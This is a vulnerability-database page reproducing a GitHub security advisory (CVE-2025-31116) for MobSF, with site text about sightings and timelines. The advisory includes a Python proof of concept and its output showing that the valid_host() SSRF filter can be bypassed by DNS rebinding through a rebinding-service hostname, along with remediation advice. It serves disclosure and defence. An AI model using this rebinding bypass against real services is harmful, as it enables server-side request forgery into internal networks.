GHSA-FCFQ-M8P6-GW56
Vulnerability from github – Published: 2025-03-31 17:23 – Updated: 2025-06-13 04:11Summary
The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.
PoC
The following proof of concept:
def valid_host(host):
"""Check if host is valid."""
try:
prefixs = ('http://', 'https://')
if not host.startswith(prefixs):
host = f'http://{host}'
parsed = urlparse(host)
domain = parsed.netloc
path = parsed.path
if len(domain) == 0:
# No valid domain
return False, None
if len(path) > 0:
# Only host is allowed
return False, None
if ':' in domain:
# IPv6
return False, None
# Local network
invalid_prefix = (
'100.64.',
'127.',
'192.',
'198.',
'10.',
'172.',
'169.',
'0.',
'203.0.',
'224.0.',
'240.0',
'255.255.',
'localhost',
'::1',
'64::ff9b::',
'100::',
'2001::',
'2002::',
'fc00::',
'fe80::',
'ff00::')
if domain.startswith(invalid_prefix):
return False, None
ip = socket.gethostbyname(domain)
if ip.startswith(invalid_prefix):
# Resolve dns to get IP
return False, None
return True, ip
except Exception:
return False, None
import random
import time
import socket
from urllib.parse import urlparse
if __name__ == '__main__':
print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999)
host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
print("Done")
print(f"Testing with '{host}' ... ", end=" ")
valid, ip = valid_host(host)
if valid:
print(f"Successful Bypass")
print(f" - Host initially resolved to: {ip}")
print("Sleeping for 1 second ...")
time.sleep(1)
print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
print("Sleeping for 30 seconds ...")
time.sleep(30)
else:
print(f"Invalid host")
Yields :
$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass
- Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
- Second use host will be resolved to: 127.0.0.1
- Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...
Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.
Impact
The usual impact of Server-side request forgery.
Remediation
- Avoid the use of
socket.gethostbyname()since it issues and DNS query.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31116"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-31T17:23:21Z",
"nvd_published_at": "2025-03-31T17:15:42Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n \"\"\"Check if host is valid.\"\"\"\n try:\n prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n if not host.startswith(prefixs):\n host = f\u0027http://{host}\u0027\n parsed = urlparse(host)\n domain = parsed.netloc\n path = parsed.path\n if len(domain) == 0:\n # No valid domain\n return False, None\n if len(path) \u003e 0:\n # Only host is allowed\n return False, None\n if \u0027:\u0027 in domain:\n # IPv6\n return False, None\n # Local network\n invalid_prefix = (\n \u0027100.64.\u0027,\n \u0027127.\u0027,\n \u0027192.\u0027,\n \u0027198.\u0027,\n \u002710.\u0027,\n \u0027172.\u0027,\n \u0027169.\u0027,\n \u00270.\u0027,\n \u0027203.0.\u0027,\n \u0027224.0.\u0027,\n \u0027240.0\u0027,\n \u0027255.255.\u0027,\n \u0027localhost\u0027,\n \u0027::1\u0027,\n \u002764::ff9b::\u0027,\n \u0027100::\u0027,\n \u00272001::\u0027,\n \u00272002::\u0027,\n \u0027fc00::\u0027,\n \u0027fe80::\u0027,\n \u0027ff00::\u0027)\n if domain.startswith(invalid_prefix):\n return False, None\n ip = socket.gethostbyname(domain)\n if ip.startswith(invalid_prefix):\n # Resolve dns to get IP\n return False, None\n return True, ip\n except Exception:\n return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n print(\"Generating random host ...\", end=\u0027 \u0027) \n prefix = random.randint(999_999, 9_999_999)\n host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n print(\"Done\")\n print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n valid, ip = valid_host(host)\n if valid:\n print(f\"Successful Bypass\")\n print(f\" - Host initially resolved to: {ip}\")\n print(\"Sleeping for 1 second ...\")\n time.sleep(1)\n print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n print(\"Sleeping for 30 seconds ...\")\n time.sleep(30)\n else:\n print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ... Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
"id": "GHSA-fcfq-m8p6-gw56",
"modified": "2025-06-13T04:11:18Z",
"published": "2025-03-31T17:23:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.